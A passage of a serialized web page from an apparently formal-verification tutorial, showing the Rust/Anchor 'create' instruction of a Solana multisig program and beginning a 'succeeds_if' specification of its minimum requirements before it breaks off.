Incrementally verifying minimum requirements to create a multisig",{"type":23,"tag":24,"props":22271,"children":22272},{},[22273,22275,22280],{"type":28,"value":22274},"Suppose we want to verify the minimum requirements to create a multisig, i.e. the ",{"type":23,"tag":92,"props":22276,"children":22278},{"className":22277},[],[22279],{"type":28,"value":19632},{"type":28,"value":22281}," expression.",{"type":23,"tag":24,"props":22283,"children":22284},{},[22285,22287,22292,22294,22300],{"type":28,"value":22286},"Creating a multisig (",{"type":23,"tag":92,"props":22288,"children":22290},{"className":22289},[],[22291],{"type":28,"value":22220},{"type":28,"value":22293},") requires invoking the ",{"type":23,"tag":92,"props":22295,"children":22297},{"className":22296},[],[22298],{"type":28,"value":22299},"create",{"type":28,"value":22301}," instruction:",{"type":23,"tag":87,"props":22303,"children":22305},{"code":22304,"language":127,"meta":7,"className":128,"style":7},"#[derive(Accounts)]\n#[instruction(threshold: u16, create_key: Pubkey, members: Vec\u003CPubkey>)]\npub struct Create\u003C'info> {\n    #[account(\n        init,\n        payer = creator,\n        space = Ms::SIZE_WITHOUT_MEMBERS + (members.len() * 32),\n        seeds = [b\"squad\", create_key.as_ref(), b\"multisig\"], bump\n    )]\n    pub multisig: Account\u003C'info, Ms>,\n\n    #[account(mut)]\n    pub creator: Signer\u003C'info>,\n    pub system_program: Program\u003C'info, System>,\n}\n\npub fn create(\n    ctx: Context\u003CCreate>,\n    threshold: u16,\n    create_key: Pubkey,\n    members: Vec\u003CPubkey>,\n) -> Result\u003C()> {\n    // sort the members and remove duplicates\n    let mut members = members;\n    members.sort();\n    members.dedup();\n\n    // check we don't exceed u16\n    let total_members = members.len();\n    if total_members \u003C 1 {\n        return err!(MsError::EmptyMembers);\n    }\n\n    // make sure we don't exceed u16 on first call\n    if total_members > usize::from(u16::MAX) {\n        return err!(MsError::MaxMembersReached);\n    }\n\n    // make sure threshold is valid\n    if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n        return err!(MsError::InvalidThreshold);\n    }\n\n    ctx.accounts.multisig.init(\n        threshold,\n        create_key,\n        members,\n        *ctx.bumps.get(\"multisig\").unwrap(),\n    )\n}\n",[22306],{"type":23,"tag":92,"props":22307,"children":22308},{"__ignoreMap":7},[22309,22326,22381,22411,22419,22427,22444,22495,22545,22553,22594,22601,22617,22650,22692,22699,22706,22725,22753,22773,22793,22821,22840,22848,22876,22896,22916,22923,22931,22963,22986,23021,23029,23037,23046,23088,23121,23129,23137,23146,23222,23255,23263,23271,23308,23321,23334,23347,23401,23410],{"type":23,"tag":134,"props":22310,"children":22311},{"class":136,"line":137},[22312,22317,22322],{"type":23,"tag":134,"props":22313,"children":22314},{"style":179},[22315],{"type":28,"value":22316},"#[derive(",{"type":23,"tag":134,"props":22318,"children":22319},{"style":597},[22320],{"type":28,"value":22321},"Accounts",{"type":23,"tag":134,"props":22323,"children":22324},{"style":179},[22325],{"type":28,"value":19736},{"type":23,"tag":134,"props":22327,"children":22328},{"class":136,"line":147},[22329,22334,22338,22342,22347,22351,22355,22360,22364,22368,22372,22376],{"type":23,"tag":134,"props":22330,"children":22331},{"style":179},[22332],{"type":28,"value":22333},"#[instruction(threshold",{"type":23,"tag":134,"props":22335,"children":22336},{"style":168},[22337],{"type":28,"value":1697},{"type":23,"tag":134,"props":22339,"children":22340},{"style":597},[22341],{"type":28,"value":20508},{"type":23,"tag":134,"props":22343,"children":22344},{"style":179},[22345],{"type":28,"value":22346},", create_key",{"type":23,"tag":134,"props":22348,"children":22349},{"style":168},[22350],{"type":28,"value":1697},{"type":23,"tag":134,"props":22352,"children":22353},{"style":597},[22354],{"type":28,"value":20335},{"type":23,"tag":134,"props":22356,"children":22357},{"style":179},[22358],{"type":28,"value":22359},", members",{"type":23,"tag":134,"props":22361,"children":22362},{"style":168},[22363],{"type":28,"value":1697},{"type":23,"tag":134,"props":22365,"children":22366},{"style":597},[22367],{"type":28,"value":20867},{"type":23,"tag":134,"props":22369,"children":22370},{"style":179},[22371],{"type":28,"value":5262},{"type":23,"tag":134,"props":22373,"children":22374},{"style":597},[22375],{"type":28,"value":20876},{"type":23,"tag":134,"props":22377,"children":22378},{"style":179},[22379],{"type":28,"value":22380},">)]\n",{"type":23,"tag":134,"props":22382,"children":22383},{"class":136,"line":185},[22384,22388,22392,22397,22402,22407],{"type":23,"tag":134,"props":22385,"children":22386},{"style":151},[22387],{"type":28,"value":13158},{"type":23,"tag":134,"props":22389,"children":22390},{"style":151},[22391],{"type":28,"value":20629},{"type":23,"tag":134,"props":22393,"children":22394},{"style":597},[22395],{"type":28,"value":22396}," Create",{"type":23,"tag":134,"props":22398,"children":22399},{"style":179},[22400],{"type":28,"value":22401},"\u003C'",{"type":23,"tag":134,"props":22403,"children":22404},{"style":597},[22405],{"type":28,"value":22406},"info",{"type":23,"tag":134,"props":22408,"children":22409},{"style":179},[22410],{"type":28,"value":6739},{"type":23,"tag":134,"props":22412,"children":22413},{"class":136,"line":221},[22414],{"type":23,"tag":134,"props":22415,"children":22416},{"style":179},[22417],{"type":28,"value":22418},"    #[account(\n",{"type":23,"tag":134,"props":22420,"children":22421},{"class":136,"line":332},[22422],{"type":23,"tag":134,"props":22423,"children":22424},{"style":179},[22425],{"type":28,"value":22426},"        init,\n",{"type":23,"tag":134,"props":22428,"children":22429},{"class":136,"line":438},[22430,22435,22439],{"type":23,"tag":134,"props":22431,"children":22432},{"style":179},[22433],{"type":28,"value":22434},"        payer ",{"type":23,"tag":134,"props":22436,"children":22437},{"style":168},[22438],{"type":28,"value":257},{"type":23,"tag":134,"props":22440,"children":22441},{"style":179},[22442],{"type":28,"value":22443}," creator,\n",{"type":23,"tag":134,"props":22445,"children":22446},{"class":136,"line":466},[22447,22452,22456,22460,22464,22469,22473,22478,22482,22486,22490],{"type":23,"tag":134,"props":22448,"children":22449},{"style":179},[22450],{"type":28,"value":22451},"        space ",{"type":23,"tag":134,"props":22453,"children":22454},{"style":168},[22455],{"type":28,"value":257},{"type":23,"tag":134,"props":22457,"children":22458},{"style":597},[22459],{"type":28,"value":20634},{"type":23,"tag":134,"props":22461,"children":22462},{"style":168},[22463],{"type":28,"value":660},{"type":23,"tag":134,"props":22465,"children":22466},{"style":597},[22467],{"type":28,"value":22468},"SIZE_WITHOUT_MEMBERS",{"type":23,"tag":134,"props":22470,"children":22471},{"style":168},[22472],{"type":28,"value":8365},{"type":23,"tag":134,"props":22474,"children":22475},{"style":179},[22476],{"type":28,"value":22477}," (members",{"type":23,"tag":134,"props":22479,"children":22480},{"style":168},[22481],{"type":28,"value":720},{"type":23,"tag":134,"props":22483,"children":22484},{"style":179},[22485],{"type":28,"value":20499},{"type":23,"tag":134,"props":22487,"children":22488},{"style":168},[22489],{"type":28,"value":1777},{"type":23,"tag":134,"props":22491,"children":22492},{"style":179},[22493],{"type":28,"value":22494}," 32),\n",{"type":23,"tag":134,"props":22496,"children":22497},{"class":136,"line":479},[22498,22503,22507,22512,22517,22521,22525,22530,22535,22540],{"type":23,"tag":134,"props":22499,"children":22500},{"style":179},[22501],{"type":28,"value":22502},"        seeds ",{"type":23,"tag":134,"props":22504,"children":22505},{"style":168},[22506],{"type":28,"value":257},{"type":23,"tag":134,"props":22508,"children":22509},{"style":179},[22510],{"type":28,"value":22511}," [",{"type":23,"tag":134,"props":22513,"children":22514},{"style":1461},[22515],{"type":28,"value":22516},"b\"squad\"",{"type":23,"tag":134,"props":22518,"children":22519},{"style":179},[22520],{"type":28,"value":22346},{"type":23,"tag":134,"props":22522,"children":22523},{"style":168},[22524],{"type":28,"value":720},{"type":23,"tag":134,"props":22526,"children":22527},{"style":179},[22528],{"type":28,"value":22529},"as_ref(), ",{"type":23,"tag":134,"props":22531,"children":22532},{"style":1461},[22533],{"type":28,"value":22534},"b\"multisig\"",{"type":23,"tag":134,"props":22536,"children":22537},{"style":179},[22538],{"type":28,"value":22539},"], ",{"type":23,"tag":134,"props":22541,"children":22542},{"style":162},[22543],{"type":28,"value":22544},"bump\n",{"type":23,"tag":134,"props":22546,"children":22547},{"class":136,"line":497},[22548],{"type":23,"tag":134,"props":22549,"children":22550},{"style":179},[22551],{"type":28,"value":22552},"    )]\n",{"type":23,"tag":134,"props":22554,"children":22555},{"class":136,"line":518},[22556,22560,22565,22569,22574,22578,22582,22586,22590],{"type":23,"tag":134,"props":22557,"children":22558},{"style":151},[22559],{"type":28,"value":20321},{"type":23,"tag":134,"props":22561,"children":22562},{"style":162},[22563],{"type":28,"value":22564}," multisig",{"type":23,"tag":134,"props":22566,"children":22567},{"style":168},[22568],{"type":28,"value":1697},{"type":23,"tag":134,"props":22570,"children":22571},{"style":597},[22572],{"type":28,"value":22573}," Account",{"type":23,"tag":134,"props":22575,"children":22576},{"style":179},[22577],{"type":28,"value":22401},{"type":23,"tag":134,"props":22579,"children":22580},{"style":597},[22581],{"type":28,"value":22406},{"type":23,"tag":134,"props":22583,"children":22584},{"style":179},[22585],{"type":28,"value":242},{"type":23,"tag":134,"props":22587,"children":22588},{"style":597},[22589],{"type":28,"value":22220},{"type":23,"tag":134,"props":22591,"children":22592},{"style":179},[22593],{"type":28,"value":5595},{"type":23,"tag":134,"props":22595,"children":22596},{"class":136,"line":527},[22597],{"type":23,"tag":134,"props":22598,"children":22599},{"emptyLinePlaceholder":15},[22600],{"type":28,"value":865},{"type":23,"tag":134,"props":22602,"children":22603},{"class":136,"line":780},[22604,22609,22613],{"type":23,"tag":134,"props":22605,"children":22606},{"style":179},[22607],{"type":28,"value":22608},"    #[account(",{"type":23,"tag":134,"props":22610,"children":22611},{"style":151},[22612],{"type":28,"value":914},{"type":23,"tag":134,"props":22614,"children":22615},{"style":179},[22616],{"type":28,"value":19736},{"type":23,"tag":134,"props":22618,"children":22619},{"class":136,"line":797},[22620,22624,22629,22633,22638,22642,22646],{"type":23,"tag":134,"props":22621,"children":22622},{"style":151},[22623],{"type":28,"value":20321},{"type":23,"tag":134,"props":22625,"children":22626},{"style":162},[22627],{"type":28,"value":22628}," creator",{"type":23,"tag":134,"props":22630,"children":22631},{"style":168},[22632],{"type":28,"value":1697},{"type":23,"tag":134,"props":22634,"children":22635},{"style":597},[22636],{"type":28,"value":22637}," Signer",{"type":23,"tag":134,"props":22639,"children":22640},{"style":179},[22641],{"type":28,"value":22401},{"type":23,"tag":134,"props":22643,"children":22644},{"style":597},[22645],{"type":28,"value":22406},{"type":23,"tag":134,"props":22647,"children":22648},{"style":179},[22649],{"type":28,"value":5595},{"type":23,"tag":134,"props":22651,"children":22652},{"class":136,"line":814},[22653,22657,22662,22666,22671,22675,22679,22683,22688],{"type":23,"tag":134,"props":22654,"children":22655},{"style":151},[22656],{"type":28,"value":20321},{"type":23,"tag":134,"props":22658,"children":22659},{"style":162},[22660],{"type":28,"value":22661}," system_program",{"type":23,"tag":134,"props":22663,"children":22664},{"style":168},[22665],{"type":28,"value":1697},{"type":23,"tag":134,"props":22667,"children":22668},{"style":597},[22669],{"type":28,"value":22670}," Program",{"type":23,"tag":134,"props":22672,"children":22673},{"style":179},[22674],{"type":28,"value":22401},{"type":23,"tag":134,"props":22676,"children":22677},{"style":597},[22678],{"type":28,"value":22406},{"type":23,"tag":134,"props":22680,"children":22681},{"style":179},[22682],{"type":28,"value":242},{"type":23,"tag":134,"props":22684,"children":22685},{"style":597},[22686],{"type":28,"value":22687},"System",{"type":23,"tag":134,"props":22689,"children":22690},{"style":179},[22691],{"type":28,"value":5595},{"type":23,"tag":134,"props":22693,"children":22694},{"class":136,"line":827},[22695],{"type":23,"tag":134,"props":22696,"children":22697},{"style":179},[22698],{"type":28,"value":1098},{"type":23,"tag":134,"props":22700,"children":22701},{"class":136,"line":836},[22702],{"type":23,"tag":134,"props":22703,"children":22704},{"emptyLinePlaceholder":15},[22705],{"type":28,"value":865},{"type":23,"tag":134,"props":22707,"children":22708},{"class":136,"line":859},[22709,22713,22717,22721],{"type":23,"tag":134,"props":22710,"children":22711},{"style":151},[22712],{"type":28,"value":13158},{"type":23,"tag":134,"props":22714,"children":22715},{"style":151},[22716],{"type":28,"value":13163},{"type":23,"tag":134,"props":22718,"children":22719},{"style":264},[22720],{"type":28,"value":6570},{"type":23,"tag":134,"props":22722,"children":22723},{"style":179},[22724],{"type":28,"value":642},{"type":23,"tag":134,"props":22726,"children":22727},{"class":136,"line":868},[22728,22732,22736,22740,22744,22749],{"type":23,"tag":134,"props":22729,"children":22730},{"style":162},[22731],{"type":28,"value":19701},{"type":23,"tag":134,"props":22733,"children":22734},{"style":168},[22735],{"type":28,"value":1697},{"type":23,"tag":134,"props":22737,"children":22738},{"style":597},[22739],{"type":28,"value":19767},{"type":23,"tag":134,"props":22741,"children":22742},{"style":179},[22743],{"type":28,"value":5262},{"type":23,"tag":134,"props":22745,"children":22746},{"style":597},[22747],{"type":28,"value":22748},"Create",{"type":23,"tag":134,"props":22750,"children":22751},{"style":179},[22752],{"type":28,"value":5595},{"type":23,"tag":134,"props":22754,"children":22755},{"class":136,"line":877},[22756,22761,22765,22769],{"type":23,"tag":134,"props":22757,"children":22758},{"style":162},[22759],{"type":28,"value":22760},"    threshold",{"type":23,"tag":134,"props":22762,"children":22763},{"style":168},[22764],{"type":28,"value":1697},{"type":23,"tag":134,"props":22766,"children":22767},{"style":597},[22768],{"type":28,"value":20508},{"type":23,"tag":134,"props":22770,"children":22771},{"style":179},[22772],{"type":28,"value":687},{"type":23,"tag":134,"props":22774,"children":22775},{"class":136,"line":946},[22776,22781,22785,22789],{"type":23,"tag":134,"props":22777,"children":22778},{"style":162},[22779],{"type":28,"value":22780},"    create_key",{"type":23,"tag":134,"props":22782,"children":22783},{"style":168},[22784],{"type":28,"value":1697},{"type":23,"tag":134,"props":22786,"children":22787},{"style":597},[22788],{"type":28,"value":20335},{"type":23,"tag":134,"props":22790,"children":22791},{"style":179},[22792],{"type":28,"value":687},{"type":23,"tag":134,"props":22794,"children":22795},{"class":136,"line":954},[22796,22801,22805,22809,22813,22817],{"type":23,"tag":134,"props":22797,"children":22798},{"style":162},[22799],{"type":28,"value":22800},"    members",{"type":23,"tag":134,"props":22802,"children":22803},{"style":168},[22804],{"type":28,"value":1697},{"type":23,"tag":134,"props":22806,"children":22807},{"style":597},[22808],{"type":28,"value":20867},{"type":23,"tag":134,"props":22810,"children":22811},{"style":179},[22812],{"type":28,"value":5262},{"type":23,"tag":134,"props":22814,"children":22815},{"style":597},[22816],{"type":28,"value":20876},{"type":23,"tag":134,"props":22818,"children":22819},{"style":179},[22820],{"type":28,"value":5595},{"type":23,"tag":134,"props":22822,"children":22823},{"class":136,"line":984},[22824,22828,22832,22836],{"type":23,"tag":134,"props":22825,"children":22826},{"style":179},[22827],{"type":28,"value":252},{"type":23,"tag":134,"props":22829,"children":22830},{"style":168},[22831],{"type":28,"value":13225},{"type":23,"tag":134,"props":22833,"children":22834},{"style":597},[22835],{"type":28,"value":13230},{"type":23,"tag":134,"props":22837,"children":22838},{"style":179},[22839],{"type":28,"value":19809},{"type":23,"tag":134,"props":22841,"children":22842},{"class":136,"line":992},[22843],{"type":23,"tag":134,"props":22844,"children":22845},{"style":141},[22846],{"type":28,"value":22847},"    // sort the members and remove duplicates\n",{"type":23,"tag":134,"props":22849,"children":22850},{"class":136,"line":1024},[22851,22855,22859,22864,22868,22872],{"type":23,"tag":134,"props":22852,"children":22853},{"style":151},[22854],{"type":28,"value":154},{"type":23,"tag":134,"props":22856,"children":22857},{"style":151},[22858],{"type":28,"value":159},{"type":23,"tag":134,"props":22860,"children":22861},{"style":162},[22862],{"type":28,"value":22863}," members",{"type":23,"tag":134,"props":22865,"children":22866},{"style":168},[22867],{"type":28,"value":171},{"type":23,"tag":134,"props":22869,"children":22870},{"style":162},[22871],{"type":28,"value":22863},{"type":23,"tag":134,"props":22873,"children":22874},{"style":179},[22875],{"type":28,"value":182},{"type":23,"tag":134,"props":22877,"children":22878},{"class":136,"line":1032},[22879,22883,22887,22892],{"type":23,"tag":134,"props":22880,"children":22881},{"style":162},[22882],{"type":28,"value":22800},{"type":23,"tag":134,"props":22884,"children":22885},{"style":168},[22886],{"type":28,"value":720},{"type":23,"tag":134,"props":22888,"children":22889},{"style":264},[22890],{"type":28,"value":22891},"sort",{"type":23,"tag":134,"props":22893,"children":22894},{"style":179},[22895],{"type":28,"value":856},{"type":23,"tag":134,"props":22897,"children":22898},{"class":136,"line":1092},[22899,22903,22907,22912],{"type":23,"tag":134,"props":22900,"children":22901},{"style":162},[22902],{"type":28,"value":22800},{"type":23,"tag":134,"props":22904,"children":22905},{"style":168},[22906],{"type":28,"value":720},{"type":23,"tag":134,"props":22908,"children":22909},{"style":264},[22910],{"type":28,"value":22911},"dedup",{"type":23,"tag":134,"props":22913,"children":22914},{"style":179},[22915],{"type":28,"value":856},{"type":23,"tag":134,"props":22917,"children":22918},{"class":136,"line":8508},[22919],{"type":23,"tag":134,"props":22920,"children":22921},{"emptyLinePlaceholder":15},[22922],{"type":28,"value":865},{"type":23,"tag":134,"props":22924,"children":22925},{"class":136,"line":8526},[22926],{"type":23,"tag":134,"props":22927,"children":22928},{"style":141},[22929],{"type":28,"value":22930},"    // check we don't exceed u16\n",{"type":23,"tag":134,"props":22932,"children":22933},{"class":136,"line":8571},[22934,22938,22943,22947,22951,22955,22959],{"type":23,"tag":134,"props":22935,"children":22936},{"style":151},[22937],{"type":28,"value":154},{"type":23,"tag":134,"props":22939,"children":22940},{"style":162},[22941],{"type":28,"value":22942}," total_members",{"type":23,"tag":134,"props":22944,"children":22945},{"style":168},[22946],{"type":28,"value":171},{"type":23,"tag":134,"props":22948,"children":22949},{"style":162},[22950],{"type":28,"value":22863},{"type":23,"tag":134,"props":22952,"children":22953},{"style":168},[22954],{"type":28,"value":720},{"type":23,"tag":134,"props":22956,"children":22957},{"style":264},[22958],{"type":28,"value":8601},{"type":23,"tag":134,"props":22960,"children":22961},{"style":179},[22962],{"type":28,"value":856},{"type":23,"tag":134,"props":22964,"children":22965},{"class":136,"line":8677},[22966,22970,22974,22978,22982],{"type":23,"tag":134,"props":22967,"children":22968},{"style":189},[22969],{"type":28,"value":11746},{"type":23,"tag":134,"props":22971,"children":22972},{"style":162},[22973],{"type":28,"value":22942},{"type":23,"tag":134,"props":22975,"children":22976},{"style":168},[22977],{"type":28,"value":8179},{"type":23,"tag":134,"props":22979,"children":22980},{"style":205},[22981],{"type":28,"value":1729},{"type":23,"tag":134,"props":22983,"children":22984},{"style":179},[22985],{"type":28,"value":463},{"type":23,"tag":134,"props":22987,"children":22989},{"class":136,"line":22988},31,[22990,22994,22999,23003,23008,23012,23017],{"type":23,"tag":134,"props":22991,"children":22992},{"style":189},[22993],{"type":28,"value":15214},{"type":23,"tag":134,"props":22995,"children":22996},{"style":264},[22997],{"type":28,"value":22998}," err!",{"type":23,"tag":134,"props":23000,"children":23001},{"style":179},[23002],{"type":28,"value":272},{"type":23,"tag":134,"props":23004,"children":23005},{"style":597},[23006],{"type":28,"value":23007},"MsError",{"type":23,"tag":134,"props":23009,"children":23010},{"style":168},[23011],{"type":28,"value":660},{"type":23,"tag":134,"props":23013,"children":23014},{"style":597},[23015],{"type":28,"value":23016},"EmptyMembers",{"type":23,"tag":134,"props":23018,"children":23019},{"style":179},[23020],{"type":28,"value":1021},{"type":23,"tag":134,"props":23022,"children":23024},{"class":136,"line":23023},32,[23025],{"type":23,"tag":134,"props":23026,"children":23027},{"style":179},[23028],{"type":28,"value":533},{"type":23,"tag":134,"props":23030,"children":23032},{"class":136,"line":23031},33,[23033],{"type":23,"tag":134,"props":23034,"children":23035},{"emptyLinePlaceholder":15},[23036],{"type":28,"value":865},{"type":23,"tag":134,"props":23038,"children":23040},{"class":136,"line":23039},34,[23041],{"type":23,"tag":134,"props":23042,"children":23043},{"style":141},[23044],{"type":28,"value":23045},"    // make sure we don't exceed u16 on first call\n",{"type":23,"tag":134,"props":23047,"children":23049},{"class":136,"line":23048},35,[23050,23054,23058,23062,23066,23070,23074,23079,23083],{"type":23,"tag":134,"props":23051,"children":23052},{"style":189},[23053],{"type":28,"value":11746},{"type":23,"tag":134,"props":23055,"children":23056},{"style":162},[23057],{"type":28,"value":22942},{"type":23,"tag":134,"props":23059,"children":23060},{"style":168},[23061],{"type":28,"value":13662},{"type":23,"tag":134,"props":23063,"children":23064},{"style":597},[23065],{"type":28,"value":13199},{"type":23,"tag":134,"props":23067,"children":23068},{"style":168},[23069],{"type":28,"value":660},{"type":23,"tag":134,"props":23071,"children":23072},{"style":264},[23073],{"type":28,"value":18950},{"type":23,"tag":134,"props":23075,"children":23076},{"style":179},[23077],{"type":28,"value":23078},"(u16",{"type":23,"tag":134,"props":23080,"children":23081},{"style":168},[23082],{"type":28,"value":660},{"type":23,"tag":134,"props":23084,"children":23085},{"style":179},[23086],{"type":28,"value":23087},"MAX) {\n",{"type":23,"tag":134,"props":23089,"children":23091},{"class":136,"line":23090},36,[23092,23096,23100,23104,23108,23112,23117],{"type":23,"tag":134,"props":23093,"children":23094},{"style":189},[23095],{"type":28,"value":15214},{"type":23,"tag":134,"props":23097,"children":23098},{"style":264},[23099],{"type":28,"value":22998},{"type":23,"tag":134,"props":23101,"children":23102},{"style":179},[23103],{"type":28,"value":272},{"type":23,"tag":134,"props":23105,"children":23106},{"style":597},[23107],{"type":28,"value":23007},{"type":23,"tag":134,"props":23109,"children":23110},{"style":168},[23111],{"type":28,"value":660},{"type":23,"tag":134,"props":23113,"children":23114},{"style":597},[23115],{"type":28,"value":23116},"MaxMembersReached",{"type":23,"tag":134,"props":23118,"children":23119},{"style":179},[23120],{"type":28,"value":1021},{"type":23,"tag":134,"props":23122,"children":23124},{"class":136,"line":23123},37,[23125],{"type":23,"tag":134,"props":23126,"children":23127},{"style":179},[23128],{"type":28,"value":533},{"type":23,"tag":134,"props":23130,"children":23132},{"class":136,"line":23131},38,[23133],{"type":23,"tag":134,"props":23134,"children":23135},{"emptyLinePlaceholder":15},[23136],{"type":28,"value":865},{"type":23,"tag":134,"props":23138,"children":23140},{"class":136,"line":23139},39,[23141],{"type":23,"tag":134,"props":23142,"children":23143},{"style":141},[23144],{"type":28,"value":23145},"    // make sure threshold is valid\n",{"type":23,"tag":134,"props":23147,"children":23149},{"class":136,"line":23148},40,[23150,23154,23158,23162,23166,23170,23174,23179,23183,23188,23192,23196,23200,23204,23208,23213,23218],{"type":23,"tag":134,"props":23151,"children":23152},{"style":189},[23153],{"type":28,"value":11746},{"type":23,"tag":134,"props":23155,"children":23156},{"style":597},[23157],{"type":28,"value":13199},{"type":23,"tag":134,"props":23159,"children":23160},{"style":168},[23161],{"type":28,"value":660},{"type":23,"tag":134,"props":23163,"children":23164},{"style":264},[23165],{"type":28,"value":18950},{"type":23,"tag":134,"props":23167,"children":23168},{"style":179},[23169],{"type":28,"value":272},{"type":23,"tag":134,"props":23171,"children":23172},{"style":162},[23173],{"type":28,"value":22228},{"type":23,"tag":134,"props":23175,"children":23176},{"style":179},[23177],{"type":28,"value":23178},") \u003C ",{"type":23,"tag":134,"props":23180,"children":23181},{"style":205},[23182],{"type":28,"value":1214},{"type":23,"tag":134,"props":23184,"children":23185},{"style":168},[23186],{"type":28,"value":23187}," ||",{"type":23,"tag":134,"props":23189,"children":23190},{"style":597},[23191],{"type":28,"value":13199},{"type":23,"tag":134,"props":23193,"children":23194},{"style":168},[23195],{"type":28,"value":660},{"type":23,"tag":134,"props":23197,"children":23198},{"style":264},[23199],{"type":28,"value":18950},{"type":23,"tag":134,"props":23201,"children":23202},{"style":179},[23203],{"type":28,"value":272},{"type":23,"tag":134,"props":23205,"children":23206},{"style":162},[23207],{"type":28,"value":22228},{"type":23,"tag":134,"props":23209,"children":23210},{"style":179},[23211],{"type":28,"value":23212},") > ",{"type":23,"tag":134,"props":23214,"children":23215},{"style":162},[23216],{"type":28,"value":23217},"total_members",{"type":23,"tag":134,"props":23219,"children":23220},{"style":179},[23221],{"type":28,"value":463},{"type":23,"tag":134,"props":23223,"children":23225},{"class":136,"line":23224},41,[23226,23230,23234,23238,23242,23246,23251],{"type":23,"tag":134,"props":23227,"children":23228},{"style":189},[23229],{"type":28,"value":15214},{"type":23,"tag":134,"props":23231,"children":23232},{"style":264},[23233],{"type":28,"value":22998},{"type":23,"tag":134,"props":23235,"children":23236},{"style":179},[23237],{"type":28,"value":272},{"type":23,"tag":134,"props":23239,"children":23240},{"style":597},[23241],{"type":28,"value":23007},{"type":23,"tag":134,"props":23243,"children":23244},{"style":168},[23245],{"type":28,"value":660},{"type":23,"tag":134,"props":23247,"children":23248},{"style":597},[23249],{"type":28,"value":23250},"InvalidThreshold",{"type":23,"tag":134,"props":23252,"children":23253},{"style":179},[23254],{"type":28,"value":1021},{"type":23,"tag":134,"props":23256,"children":23258},{"class":136,"line":23257},42,[23259],{"type":23,"tag":134,"props":23260,"children":23261},{"style":179},[23262],{"type":28,"value":533},{"type":23,"tag":134,"props":23264,"children":23266},{"class":136,"line":23265},43,[23267],{"type":23,"tag":134,"props":23268,"children":23269},{"emptyLinePlaceholder":15},[23270],{"type":28,"value":865},{"type":23,"tag":134,"props":23272,"children":23274},{"class":136,"line":23273},44,[23275,23279,23283,23287,23291,23296,23300,23304],{"type":23,"tag":134,"props":23276,"children":23277},{"style":162},[23278],{"type":28,"value":19701},{"type":23,"tag":134,"props":23280,"children":23281},{"style":168},[23282],{"type":28,"value":720},{"type":23,"tag":134,"props":23284,"children":23285},{"style":179},[23286],{"type":28,"value":14143},{"type":23,"tag":134,"props":23288,"children":23289},{"style":168},[23290],{"type":28,"value":720},{"type":23,"tag":134,"props":23292,"children":23293},{"style":179},[23294],{"type":28,"value":23295},"multisig",{"type":23,"tag":134,"props":23297,"children":23298},{"style":168},[23299],{"type":28,"value":720},{"type":23,"tag":134,"props":23301,"children":23302},{"style":264},[23303],{"type":28,"value":20218},{"type":23,"tag":134,"props":23305,"children":23306},{"style":179},[23307],{"type":28,"value":642},{"type":23,"tag":134,"props":23309,"children":23311},{"class":136,"line":23310},45,[23312,23317],{"type":23,"tag":134,"props":23313,"children":23314},{"style":162},[23315],{"type":28,"value":23316},"        threshold",{"type":23,"tag":134,"props":23318,"children":23319},{"style":179},[23320],{"type":28,"value":687},{"type":23,"tag":134,"props":23322,"children":23324},{"class":136,"line":23323},46,[23325,23330],{"type":23,"tag":134,"props":23326,"children":23327},{"style":162},[23328],{"type":28,"value":23329},"        create_key",{"type":23,"tag":134,"props":23331,"children":23332},{"style":179},[23333],{"type":28,"value":687},{"type":23,"tag":134,"props":23335,"children":23337},{"class":136,"line":23336},47,[23338,23343],{"type":23,"tag":134,"props":23339,"children":23340},{"style":162},[23341],{"type":28,"value":23342},"        members",{"type":23,"tag":134,"props":23344,"children":23345},{"style":179},[23346],{"type":28,"value":687},{"type":23,"tag":134,"props":23348,"children":23350},{"class":136,"line":23349},48,[23351,23355,23359,23363,23368,23372,23376,23380,23385,23389,23393,23397],{"type":23,"tag":134,"props":23352,"children":23353},{"style":168},[23354],{"type":28,"value":7210},{"type":23,"tag":134,"props":23356,"children":23357},{"style":162},[23358],{"type":28,"value":19758},{"type":23,"tag":134,"props":23360,"children":23361},{"style":168},[23362],{"type":28,"value":720},{"type":23,"tag":134,"props":23364,"children":23365},{"style":179},[23366],{"type":28,"value":23367},"bumps",{"type":23,"tag":134,"props":23369,"children":23370},{"style":168},[23371],{"type":28,"value":720},{"type":23,"tag":134,"props":23373,"children":23374},{"style":264},[23375],{"type":28,"value":15822},{"type":23,"tag":134,"props":23377,"children":23378},{"style":179},[23379],{"type":28,"value":272},{"type":23,"tag":134,"props":23381,"children":23382},{"style":1461},[23383],{"type":28,"value":23384},"\"multisig\"",{"type":23,"tag":134,"props":23386,"children":23387},{"style":179},[23388],{"type":28,"value":296},{"type":23,"tag":134,"props":23390,"children":23391},{"style":168},[23392],{"type":28,"value":720},{"type":23,"tag":134,"props":23394,"children":23395},{"style":264},[23396],{"type":28,"value":851},{"type":23,"tag":134,"props":23398,"children":23399},{"style":179},[23400],{"type":28,"value":670},{"type":23,"tag":134,"props":23402,"children":23404},{"class":136,"line":23403},49,[23405],{"type":23,"tag":134,"props":23406,"children":23407},{"style":179},[23408],{"type":28,"value":23409},"    )\n",{"type":23,"tag":134,"props":23411,"children":23413},{"class":136,"line":23412},50,[23414],{"type":23,"tag":134,"props":23415,"children":23416},{"style":179},[23417],{"type":28,"value":1098},{"type":23,"tag":24,"props":23419,"children":23420},{},[23421,23423,23428,23430,23435],{"type":28,"value":23422},"We can start by testing an empty ",{"type":23,"tag":92,"props":23424,"children":23426},{"className":23425},[],[23427],{"type":28,"value":19632},{"type":28,"value":23429}," (this will default to ",{"type":23,"tag":92,"props":23431,"children":23433},{"className":23432},[],[23434],{"type":28,"value":1195},{"type":28,"value":23436},"):",{"type":23,"tag":87,"props":23438,"children":23440},{"code":23439,"language":127,"meta":7,"className":128,"style":7},"#[succeeds_if()]\npub fn create(...) { ... 